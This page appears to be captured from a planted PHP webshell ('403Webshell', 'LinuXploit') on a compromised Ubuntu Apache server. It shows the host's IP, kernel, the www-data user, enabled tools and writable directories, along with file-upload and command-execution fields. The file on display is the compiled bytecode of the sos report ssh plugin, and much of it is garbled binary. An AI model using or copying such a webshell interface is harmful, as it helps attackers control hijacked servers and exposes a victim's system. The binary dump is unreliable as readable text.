403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/ssh.cpython-312.pyc
�

i��d
��0�ddlmZmZmZGd�dee�Zy)�)�Plugin�IndependentPlugin�	PluginOptc�D�eZdZdZdZdZedded��gZd�Z	d	�Z
d
�Zy)�SshzSecure shell service�ssh)�services�security�system�identity�	userconfsTz5Changes whether module will collect user .ssh configs)�default�val_type�descc��|jddd��ddg}|j|�|j|�|jd�r|j	�yy)N�sshd_config�
ssh_config)z/etc/ssh/sshd_config$z/etc/ssh/ssh_config$z/etc/ssh/ssh_configz/etc/ssh/sshd_configr
)�
add_file_tags�
add_copy_spec�included_configs�
get_option�user_ssh_files_permissions)�self�sshcfgss  �8/usr/lib/python3/dist-packages/sos/report/plugins/ssh.py�setupz	Ssh.setupsg�����%2�$0�
�	�
"�"���	
���7�#����g�&��?�?�;�'��+�+�-�(�c��	|D]�}|jd�d}t|j|�d�5}|D]v}t|j��dk(s|j	d�r�1|j�j	d�s�Q|j�}|j
|d|���x	ddd���y#1swY��xYw#t$rYywxYw)	N�/����rr�#�include�)�tags)�split�open�	path_join�len�
startswith�lowerr�	Exception)rr�sshcfg�tag�cfgfile�line�confargs       rrzSsh.included_configs0s���
	�!�

E���l�l�3�'��+���$�.�.��0�#�6�E�'� '�E���t�z�z�|�,��1�T�_�_�S�5I�$��:�:�<�2�2�9�=�&*�j�j�l�G� �.�.�w�q�z��.�D�E�E�E�

E�E�E���	��	�s/�4C
�AB>�
(B>�3
C
�>C	�C
�
	C�Cc���|jd�}|dr5	t|jd��5}|j�}ddd�n|dj
�}D]X}	|j|jd�dd	�}|j|�r |jd
j|���Zy#1swY�{xYw#t$r|jd�YywxYw#t$rY��wxYw)z�
        Iterate over .ssh folders in user homes to see their permissions.

        Bad permissions can prevent SSH from allowing access to given user.
        z
getent passwd�statusz/etc/passwdNzCouldn't read /etc/passwd�output�:�z.sshz
ls -laZ {})�exec_cmdr'r(�	readlinesr,�
_log_error�
splitlinesr&�
path_isdir�add_cmd_output�format�
IndexError)r�
users_data�passwd_file�users_data_lines�usr_line�home_dirs      rrzSsh.user_ssh_files_permissionsAs����]�]�?�3�
��h��
��$�.�.��7�8�?�K�'2�'<�'<�'>�$�?�� *�(�3�>�>�@��)�	�H�
��>�>�(�.�.��*=�a�*@�&�I���?�?�8�,��'�'��(;�(;�H�(E�F��		�?�?���
���� ;�<��
���
��
�s;�C	�B=�C	�%AC)�=C�C	�	C&�%C&�)	C5�4C5N)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr�str�option_listrrr�rrrrs<��'�J��K�=�H�	�+�t�c�4�	6��K�.�*�"rrN)�sos.report.pluginsrrrrrLrr�<module>rNs��D�C�N�&�#�Nr

Youez - 2016 - github.com/yon3zu
LinuXploit